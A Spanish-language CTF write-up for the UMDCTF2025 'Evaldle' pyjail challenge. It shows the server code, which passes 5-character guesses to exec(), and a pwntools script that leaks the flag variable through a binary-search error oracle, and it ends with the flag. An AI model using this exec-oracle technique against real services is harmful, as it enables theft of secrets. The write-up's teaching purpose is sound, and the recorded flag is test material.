Evaldle - UMDCTF2025
Reto basado en escapar de una pyjail para leer la flag.
Autor del reto: aparker
Dificultad: Media
Enunciado
“The 2021 game of the year, now in pyjail form.”
Archivos
Este reto nos da el siguiente archivo.
nc challs.umdctf.io 31601
: Conexión por netcat al servidorevaldle.py
: Contiene la lógica del servidor.
Archivos utilizados aquí.
Analizando el reto
En evaldle.py
encontramos el siguiente código.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/local/bin/python
f = open('flag.txt').read()
target = 'SIGMA'
while True:
guess = input("Guess: ")
if len(guess) != 5:
print("Invalid guess.")
continue
for j in range(5):
if target[j] == guess[j]:
print('🟩', end='')
elif guess[j] in target[j]:
print('🟨', end='')
else:
print('⬛', end='')
print('')
try:
exec(guess)
print('🟩🟩🟩🟩🟩')
except:
print("🟥🟥🟥🟥🟥")
En resumidas cuentas, este código implementa un juego tipo Wordle que compara adivinanzas con la palabra secreta SIGMA
dando pistas con emojis. Posteriormente, ejecuta el input introducido como código en Python en la función exec()
. Además podemos observar que tiene un bug en la lógica de pistas, ya que target[j]
es una letra y no una colección, por eso solo se evalúa como verdadera si ambas letras son iguales (cubierto por la primera condición)
Hay un factor muy importante y es que el usuario está limitado al input a introducir, ya que este debe de ser de 5 caracteres para que se ejecute la función exec()
, en caso contrario no se ejecutará.
Solver
La solución de este reto viene dada por la explotación de la función exec(guess)
Además, podemos ver que a simple vista el contenido de flag.txt
se encuentra embebido en la variable f
Como el código ejecuta cualquier input del usuario gracias al exec()
, esto nos permite ejecutar código en el contexto del programa. Para ello, tendremos que reconstruir la bandera carácter por carácter sin adivinarla manualmente, usando una técnica de búsqueda binaria sobre un conjuto de caracteres posibles llamados alpha
Para ello, en cada intento tenemos que construir una string parcial y compararlo con la flag y en base si la flag es “menor” o “mayor” al string actual, el script provocará errores (como dividir entre False) además de observar si el programa responde con error (🟥🟥🟥🟥🟥) o éxito (🟩🟩🟩🟩🟩).
La clave de este proceso será el repetir este proceso hasta descubrir toda la bandera.
El script utilizado es el siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import string
alpha = sorted(string.ascii_letters + string.digits + '{}_')
with remote("challs.umdctf.io", 31601) as p:
def guess(x):
assert len(x) <= 5
p.sendlineafter('Guess: ', x.ljust(5,'#').encode())
p.readline()
print(x.ljust(5,'#'))
return p.readline() == b'\xf0\x9f\x9f\xa9'*5+b'\n'
known = ''
while not known.endswith('}'):
low = 0
high = len(alpha) - 1
while low < high:
mid = (low + high + 1) // 2
guess("a=''")
for c in known + alpha[mid]:
guess(f"b='{c}'")
guess("a+=b")
guess("d=f<a")
if guess("1/d"):
high = mid - 1
else:
low = mid
known += alpha[high]
print(known)
Antes que nada, vamos a explicar paso por paso cada parte del código.
- Lo más importante es entender la explotación del propio
exec()
Para ello, sabemos que exec(guess)
va a ejecutar todo lo que escribamos como input (y tenga 5 caracteres). Por ejemplo, si ponemos 1+1
, el programa ejecutará exec(1+1)
. Si pudieramos poner exec(print(f))
, el programa nos devovlería la flag pero en este caso no aplica ya que input tiene más de 5 caracteres.
- Nuestro principal objetivo es leer
f
que contiene la bandera, así que lo que tenemos que hacer es reconstruir la bandera carácter por carácter, comprobando realizando comprobaciones de si cierta letra está antes o después que otra en orden alfabético.
En python podemos comparar strings de la siguiente forma.
1
"abc" < "acd" # True
Y posteriormente podemos hacer esto con las variables.
1
2
if f < a:
...
Por lo tanto, podemos construir una variable a
con algo como UMDCTF{
y realizar la comparación anterior: “ f
es menor que UMDCTF{
”?
Dependiendo de la respuesta que nos dé, podemos saber cual es el siguiente carácter correcto.
- Tenemos que detectar la respuesta con errores, para ello sabemos que si:
1
2
d = f < a
1 / d
Si d = True
, entonces 1 / d
= 1 / True
= 1 / 1
= Válido, no lanza error Si d = False
, entonces 1 / d
= 1 / False
= 1 / 0
= No válido, lanza error
Además, como el juego muestra 🟩🟩🟩🟩🟩 cuando no hay error, y 🟥🟥🟥🟥🟥 cuando sí hay error, podemos saber si f < a
.
- Por último, tenemos que relizar la operatoria anterior para todo el rango de caracteres y mediante un algoritmo de búsqueda eficiente, para ello utilizamos la
binary search
para encontrar el caracter correcto.
P.D
Script original de clam
, es muy potente para futuros scripts basados en restricciones de caracteres.
Flag
UMDCTF{that_took_a_lot_more}